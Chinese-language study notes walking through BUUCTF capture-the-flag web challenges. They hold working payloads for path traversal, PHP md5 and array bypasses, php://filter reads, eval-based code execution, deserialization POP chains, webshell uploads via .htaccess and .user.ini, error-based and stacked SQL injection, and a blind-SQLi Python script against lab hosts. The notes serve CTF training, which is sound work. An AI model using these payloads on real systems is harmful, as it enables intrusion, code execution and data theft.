BUUCTF
审计&HTTP&正则
[HCTF 2018]WarmUp(代码审计)
源代码==>source.php===>hint.php==>flag not here, and flag in ffffllllaaaagggg==>说明flag可能在文件ffffllllaaaagggg
解析source.php的代码if (! empty($_REQUEST['file']) && is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}
一步步解析:
$_REQUEST
变量 $_REQUEST用于收集HTML表单提交的数据,默认情况下包含了$_GET,$_POST和$_COOKIE的数组。
GET是从服务器上获取数据,GET是把参数数据队列加到提交表单的ACTION属性所指的URL中,值和表单内各个字段一一对应,在URL中可以看到。
POST是向服务器传送数据,POST是通过HTTP POST机制,将表单内各个字段与其内容放置在HTML HEADER内一起传送到ACTION属性所指的URL地址,用户看不到这个过程。
通过POST和GET方法提交的所有数据都可以通过$_REQUEST["参数"]获得。
empty()
empty(var) 函数用于检查一个变量是否为空,当 变量var 存在,并且是一个非空非零的值时返回 FALSE 否则返回 TRUE。
is_string()
is_string(var)检测变量是否是字符串,如果var是字符串则返回true,否则返回false。
include
include语句包含并运行指定文件。
文件查找过程:
1、被包含文件先按参数给出的路径寻找。
2、如果没有给出目录(只有文件名)时则按照include_path指定的目录寻找。
3、如果在include_path下没找到该文件,则include最后才在调用脚本文件所在的目录和当前工作目录下寻找。
4、如果最后仍未找到文件则include会发出一条警告。
逻辑结构
传入的file参数需满足以下3个条件,才可包含并运行file:
(1)不为空
(2)为字符串
(3)emmm::checkFile($_REQUEST['file']) 返回 true
mb_substr()
mb_substr ( string $str , int $start , int $length )
mb_substr() 函数从$str的$start字符位置开始,截断$length个字符并返回字符串。$str的第一个字符的位置是 0,第二个字符的位置是 1,以此类推。
类似substr() 函数,substr() 函数只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
mb_strpos()
mb_strpos(haystack, needle),查找字符串needle在另一个字符串haystack中首次出现的位置,返回位置(int)。第一个字符的位置是 0,第二个字符的位置是 1,以此类推。
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); $_page = urldecode($page);
$_page = mb_substr( $_page,
0,
mb_strpos($_page . '?', '?')
);
if语句中的$_page经历了如下改变:一次问号截断,一次url解码,一次问号截断——–url传入服务器会自动进行一次urldecode. ?的url编码为%3F,双重url编码为%253F。
那问题就很容易解决了
payload:?file=source.php%253F/../../../../ffffllllaaaagggg——-../代表返回上级目录——–../是一个一个试的,未知有几个文件夹
MRCTF2020]Ez_bypass(md5)
代码审计
// 包含外部文
件 ‘flag.php’,该文件可能包含敏感信息
include ‘flag.php’;
// 定义一个变量 $flag,包含一个字符串
$flag = ‘MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}’;
// 检查是否存在名为 ‘gg’ 和 ‘id’ 的 GET 参数
if(isset($_GET[‘gg’]) && isset($_GET[‘id’])) {
// 获取 GET 参数 ‘id’ 和 ‘gg’ 的值
$id = $_GET[‘id’];
$gg = $_GET[‘gg’];
// 检查 $id 和 $gg 的 MD5 散列值是否相等,并且它们的值不相等,强比较
if (md5($id) === md5($gg) && $id !== $gg) {
// 输出 'You got the first step'
echo 'You got the first step';
// 检查是否存在名为 'passwd' 的 POST 参数
if(isset($_POST['passwd'])) {
// 获取 POST 参数 'passwd' 的值
$passwd = $_POST['passwd'];
// 检查 $passwd 是否为数字
if (!is_numeric($passwd)) {
// 如果 $passwd 等于 1234567,则输出 'Good Job!',显示 'flag.php' 的内容,然后终止脚本执行
if($passwd == 1234567) {
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
} else {
// 如果 $passwd 不等于 1234567,则输出 'can you think twice??'
echo "can you think twice??";
}
} else {
// 如果 $passwd 是数字,则输出 'You can not get it !' 可以数字+字母 如:12345a
echo 'You can not get it !';
}
} else {
// 如果不存在 POST 参数 'passwd',则输出 'only one way to get the flag'
die('only one way to get the flag');
}
} else {
// 如果 $id 和 $gg 的 MD5 散列值不相等,或者它们的值相等,则输出 'You are not a real hacker!'
echo "You are not a real hacker!";
}
} else {
// 如果不存在 ‘gg’ 和 ‘id’ 的 GET 参数,则输出 ‘Please input first’
die(‘Please input first’);
}
很常见的md5比较若为弱比较:
md5加密后为0e开头的会被识别为科学记数法,结果均为0
例如:para1=QNKCDZO ,para2=aabg7XSs
md5(para1)=0e830400451993494058024219903391
md5(para2)=0e087386482136013740957780965295
此时MD5(para1)== MD5(para2)
另加:数组绕过/?id[]=1&gg[]=222
若为强比较:
如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,并且不会报错,就会得到===强比较的值相等
例如:para1[]=111 , para2[]=222
此时md5(para1)=== md5(para2)
显而易见 payload:/?id[]=1&gg[]=2 POST:passwd=1234567a
[极客大挑战 2019]Http
源代码:发现秘密:Secret.php
It doesn’t come from ‘https://Sycsecret.buuoj.cn'==>Referer
Please use “Syclover” browser==>Uesr Agent
No!!! you can only read this locally!!!==>X-Forwarded-For: 127.0.0.1
(另几种表达:X-Real-Ip: 127.0.0.1 Client-Ip: 127.0.0.1)
[BJDCTF2020]Easy MD5
随便查询,无回响,查看源码,发现:HTTP有header==>发现Hint select * from ‘admin’ where password=md5($pass,true)
一个sql语句,要输入一个密码但是并不知道正确密码。这里需要利用md5绕过,让sql语句变成如下形式 select * from ‘admin’ where password=‘’ or ‘1(很基本的sql)
https://www.cnblogs.com/redfish404/articles/17878453.html
上网查找后发现字符串“ffifdyop”和“129581926211651571912466741651878684928”在进行md5加密后形成的十六进制的字符串经过mysql转换成十进制后对应的ASCII码内容为“or ‘ 6……”——ffifdyop->276f722736c95d99e921722cf9ed621c->’or’6É]é!r,ùíb
进入新页面,什么也没有,查看源代码
1 |
|
很基本的md5==>0e绕过或者数组绕过都行==进入下一步
1 |
|
这个只能数组绕过==>param1[]=1¶m2[]=2
[极客大挑战 2019]BuyFlag(数组绕过长度限制)
If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!
源代码:
1 |
|
password=404a 绕过
查看HTTP 发现Cookie: user=0 0改为1试试
显示:Pay for the flag!!!hacker!!!
突然想起来money还要够
password=404a&money=100000000
显示 Nember lenth is too long
钱减少还不够
可以尝尝9e9 password=404a&money=9e9
还有一个比较常见的数组绕过 password=404a&money[]=1
[极客大挑战 2019]Secret File(信息泄露、文件包含)
页面什么也没有,查看源代码==>href=”./Archive_room.php”
打开,点击按钮,提示“没看清么?回去再仔细看看吧。”
让我们退回去仔细看看,说明在这两个页面之间存在一些内容,右键「检查」
返回上一个页面(Archive_room.php)重新点击一次 SECRET 按钮,观察这一过程有哪些「请求」==>在结束页面之前,还访问了一个页面/action.php,只是我们没有「权限」(302),看不了,所以直接跳过了这个页面。针对这种情况,使用burp抓包进行访问
发现 secr3t.php
1 |
|
使用PHP伪协议对文件内容进行编码:/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php==>base64解码
[RoarCTF 2019]Easy Calc(waf)
源码calc.php
代码审计 num只能输入数字,字母解析不了 用空格绕过”num“改为“ num”
查看黑名单 引号不能用了
用ASCII码绕过
num=var_dump(scandir(chr(47)))==>>相当于system(ls /)—–chr(47)=” / “
发现f1agg文件
num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))==>>
file_get_contents(/f1agg)相当于
? num=system(cat /f1agg)
[GXYCTF2019]禁止套娃(正则)
扫描==>git泄露==>githack==>index.php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
序列化和反序列化
[ZJCTF 2019]NiZhuanSiWei
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
要求上传一个text文件,内容为welcome to the zjctf
==>使用php://input或者data://
?text=data://text/plain,welcome to the zjctf
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= //使用base64编码
file伪协议==>php://filter/read=convert.base64-encode/resource=useless.php
进行base解码 得到代码
<?php
class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
} } } ?>
进行序列化得到O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
[极客大挑战 2019]PHP(反序列化)
备份网站==>dirsezrch -u http://ae4f66fd-39d2-4ca2-93f2-e3b29093f58c.node5.buuoj.cn:81/==>www.zip文件(直接在url网址后面拼接就可以)
文件夹源码挨个看
1 |
|
class.php(经过删减)
1 |
|
`
**在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),去执行___destruct
思路明确了
当password为100,username为admin时即可获得flag
故以get传参为跳板本地构造原始POC:
?select=O:4:”Name”:2:{s:13:” Name username”;s:5:”admin”;s:13:” Name password”;s:3:100;}
?select=O:4:”Name”:2:{s:13:” Name username”;s:5:”admin”;s:13:” Name password”;s:3:100;}
仍然不行
可能空格没有被实体化 这里我们需要把空格写出来
而空格的url编码是%00,下面构造我们的payload
?select=O:4:”Name”:3 {s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;s:3:”100”;}
[网鼎杯 2020 青龙组]AreUSerialz(反序列化)
构造POP链
不使用题目中原有的各个字段的protect属性,因为这样会使得序列化后的字符串出现不可打印字符,而题目中的is_valid()函数又会检验输入的字符串中是否有不可打印字符,因此,我们这里把protect属性修改为public。
1 |
|
O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:10:”./flag.php”;s:7:”content”;N;}
payload: ?str=O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:10:”./flag.php”;s:7:”content”;N;}
Upload
[极客大挑战 2019]Knife(一句话木马、代码执行)
Way1(代码执行)
显示 eval($_POST[“Syc”]);
POST: Syc=var_dump(scandir(‘/‘));—查看源代码 发现flag
Way2(蚁剑)
复制URL 密码:Syc 找flag文件
[MRCTF2020]你传你🐎呢(.htaccess绕过)
随便上传,有限制 尝试了php3,php5,ptml,空格绕过,都不行
先上次1.png //与后面的png文件名一致
尝试.htaccess
内容:<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
抓包==>Content-Type: image/png
复制网址:/upload/731ae4223a74740c27bb86b66c482220/.htaccess
改为/upload/731ae4223a74740c27bb86b66c482220/1.png
踩坑:这里要把.htaccess改为1.png,因为密码cmd是对应的1.png
[SUCTF 2019]CheckIn(.user.ini绕过)
illegal suffix! 尝试不同文件上传 发现只有jpg回显回显<? in contents!
看来只能是jpg 然后需要绕过 <? :<script language='php'>eval($_POST['shell']);<scirpt>
需要把jpg当做PHP文件执行,尝试.htaccess文件,然后还是不行: 回显exif_imagetype:not image!
这时想到**.user.ini**绕过:
GIF89a
auto_prepend_file=a.jpg
//a.jpg要与上传的jpg文件名称相同
重新尝试:先.user.ini 后 a.jpg
蚁剑连接,注意最后是/index.php———使用的是auto_prepend_file,在主文件之前就已经自动解析文件名了,所以index.php主文件在最后面,而不是a.jpg
SQL
[极客大挑战 2019]BabySQL(双写绕过)
会双写绕过就能过(其他按部就班)
[极客大挑战 2019]HardSQL(报错注入)
万能密码不管用。大写、
^代替and,用()代替空格,like代替等于号
1’^(updatexml(1,(concat(0x7e,(database()),0x7e)),1))or’
1’^(updatexml(1,(concat(0x7e,select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(‘geek’)),0x7e)),1))o
1’^(updatexml(1,(concat(0x7e,(select(group_concat(id.username,password))from(‘geek.H4rDsq1’)),0x7e)),1))or’
发现只有password
1’^(updatexml(1,(concat(0x7e,(select(group_concat(password))from(‘geek.H4rDsq1’)),0x7e)),1))or’
发现得到一半flag
XPATH syntax error: ‘~flag{206c80d5-e513-4b65-9634-1c’
使用right
1’^(updatexml(1,(concat(0x7e,(select(group_concat(right(password,32)))from(geek.H4rDsq1)),0x7e)),1))or’
XPATH syntax error: ‘~0d5-e513-4b65-9634-1c01506c896a’
flag{206c80d5-e513-4b65-9634-1c01506c896a}
[GXYCTF2019]BabySQli(临时数据)
源码:search.php 得到 MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
一看就是base32 得到 c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
一看就是base64 得到 select * from user where username = ‘$name’
username为注入点,有绕过==>fuzz一波
看admin的位置 测试了一下在2处
爆不了表 看了别人的wp
这里是插入一条临时的数据admin,密码为md5加密后的1,然后密码为1,就会自动登陆上了(猜测3列为密码)
upload:1’ union select 1,’admin’,’c4ca4238a0b923820dcc509a6f75849b’#
数据库为32位小写md5加密
[GYCTF2020]Blacklist(堆叠注入handler)
前言:
handler命令查询规则
handler table_name open;handler table_name read first;handler table_name close;
handler table_name open;handler table_name read next;handler table_name close;
如何理解?
首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作。
首先打开数据库,开始循环读取,读取成功后进行关闭操作。
发现黑名单
1 |
|
0’;show databases;#==>0’;show tables;#==>0’;show columns fromFlagHere
;#==>发现有flag
handler可以用
0’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;
0’;handler FlagHere open;handler FlagHere read next;handler FlagHere close;
[CISCN2019 华北赛区 Day2 Web1]Hack World(布尔盲注-脚本)
输入’ ==>bool(false)
盲猜布尔盲注
万能密码,存在过滤 fuzz一波
可知1是正确的回显,0是错误的回显
进行验证:
if((ascii(substr((select(flag)from(flag)),1,1))=102),1,0)
可以把if语句里最后的0,1,替换进行验证判断正确和错误的回显
因为要遍历,要写脚本
import requests
import re
url='http://b34f42ae-9e41-48eb-b906-0c3ea32eadec.node4.buuoj.cn:81/index.php' #路径
buu='' #记录flag
for i in range(1,50): #flag的字符数量
for j in range(32,140): #可打印出得所有字符的asii码值
#构造payload,对flag的值进行遍历,i为位数,j为遍历集,{0}和{1}分别为占位指针,{0}对应i,{1}对应j
payload="if((ascii(substr((select(flag)from(flag)),{0},1))={1}),1,0)".format(i,j)
data={"id":payload} #构造参数对象
res=requests.post(url=url,data=data) #请求
#进行验证和记录flag
if 'Hello, glzjin wants a girlfriend' in res.text:
buu=buu+chr(j)
print(i)
print(buu)
break #跳出一层循环
SSTI
SSTI就是服务器端模板注入(Server-Side Template Injection),实际上也是一种注入漏洞。
https://blog.csdn.net/Manuffer/article/details/120739989?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171378855216800188542056%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=171378855216800188542056&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-120739989-null-null.142^v100^pc_search_result_base9&utm_term=SSTI&spm=1018.2226.3001.4187
[护网杯 2018]easy_tornado
网址里有参数filename
和filehash
推测这里flag应该是
filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))
里面,filehash里hash就是提示为md5的hash加密。
easy_tornado
可推测是服务器模板注入(SSTI)。
/file?filename=/fllllllllllllag&filehash=———-搜素百度得Tornado框架的附属文件handler.settings中存在cookie_secret
得到 ‘cookie_secret’: ‘dde04648-84e9-4d88-a0ca-776a28f54c13’}
payload:/file?filename=/fllllllllllllag&filehash=77a1d0572298d9f79da44fd36511802c